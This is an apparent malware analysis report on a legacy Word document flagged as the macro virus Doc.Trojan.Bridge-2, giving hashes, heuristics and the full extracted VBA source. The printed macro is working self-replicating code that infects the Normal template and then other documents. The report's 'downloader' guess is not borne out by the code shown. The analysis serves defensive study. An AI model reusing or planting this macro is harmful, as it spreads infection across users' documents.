Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 184f095cc5030e30…

MALICIOUS

Office (OLE)

38.5 KB Created: 2000-04-29 01:22:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: c26f7b05a00c6c33c2d1a9d2539a08fe SHA-1: c387dd85a28cfe8863ddb21fe3a7b892b726f27e SHA-256: 184f095cc5030e30a367e3a9ab621c7ec6a3b845f5340996092fe23e6e9ab5b7
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file contains a legacy WordBasic AutoOpen macro, a common indicator of malicious documents. The VBA code within the 'MdCont' module appears to be designed to persist itself within the Normal template and execute upon document opening. While the exact payload is not directly visible, the presence of AutoOpen and the structure of the VBA code strongly suggest it acts as a downloader for a secondary stage.

Heuristics 4

  • ClamAV: Doc.Trojan.Bridge-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Bridge-2
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2891 bytes
SHA-256: 2e1a5a5110322d470be3f2910c440c3a8e4346076da4a0811a6b946ddfe94ef3
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "MdCont"
Dim Vcol As New Contec
Sub AutoOpen()
    Set Vcol.Acol = Word.ActiveDocument
End Sub


Attribute VB_Name = "Contec"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_Creatable = True
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Public WithEvents Acol As Word.Document
Private Sub Acol_Close()
      'On Error Resume Next
      
      Dim wDocu, wPlan As Object
      Dim infewnd, infewdo As Boolean
 
      Set wDocu = ActiveDocument.VBProject.VBComponents
      Set wPlan = NormalTemplate.VBProject.VBComponents
      
      infewnd = False
      infewdo = False
      
      nitef = wPlan.Count
      For i = 1 To nitef
          If wPlan.Item(i).Name = "Contec" Then infewnd = True
      Next
      If infewnd = False Then
          NormalTemplate.Saved = False
          NormalTemplate.VBProject.VBComponents.Add 1
          nitef = wPlan.Count
          wPlan.Item(nitef).Name = "MdCont"
          NormalTemplate.VBProject.VBComponents.Add 2
          nitef = wPlan.Count
          wPlan.Item(nitef).Name = "Contec"
          conteinivir = "Dim Vcol As New Contec" & Chr(13) & "Sub AutoOpen()" & Chr(13) & "    Set Vcol.Acol = Word.ActiveDocument" & Chr(13) & "End Sub" & Chr(13)
          wPlan.Item("MdCont").CodeModule.AddFromString conteinivir
          contco = wDocu.Item("Contec").CodeModule.Lines(1, wDocu.Item("Contec").CodeModule.CountOfLines)
          wPlan.Item("Contec").CodeModule.AddFromString contco
      End If
      
      nitef = wDocu.Count
      For i = 1 To nitef
          If wDocu.Item(i).Name = "Contec" Then infewdo = True
      Next
      If infewdo = False And ActiveDocument.Name <> NormalTemplate.Name Then
          ActiveDocument.Saved = False
          ActiveDocument.VBProject.VBComponents.Add 2
          nitef = wDocu.Count
          wDocu.Item(nitef).Name = "Contec"
          ActiveDocument.VBProject.VBComponents.Add 1
          nitef = wDocu.Count
          wDocu.Item(nitef).Name = "MdCont"
          conteinivir = "Dim Vcol As New Contec" & Chr(13) & "Sub AutoOpen()" & Chr(13) & "    Set Vcol.Acol = Word.ActiveDocument" & Chr(13) & "End Sub" & Chr(13)
          wDocu.Item("MdCont").CodeModule.AddFromString conteinivir
          contco = wPlan.Item("Contec").CodeModule.Lines(1, wPlan.Item("Contec").CodeModule.CountOfLines)
          wDocu.Item("Contec").CodeModule.AddFromString contco
      End If

End Sub

Private Sub Acol_Open()
      
      
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.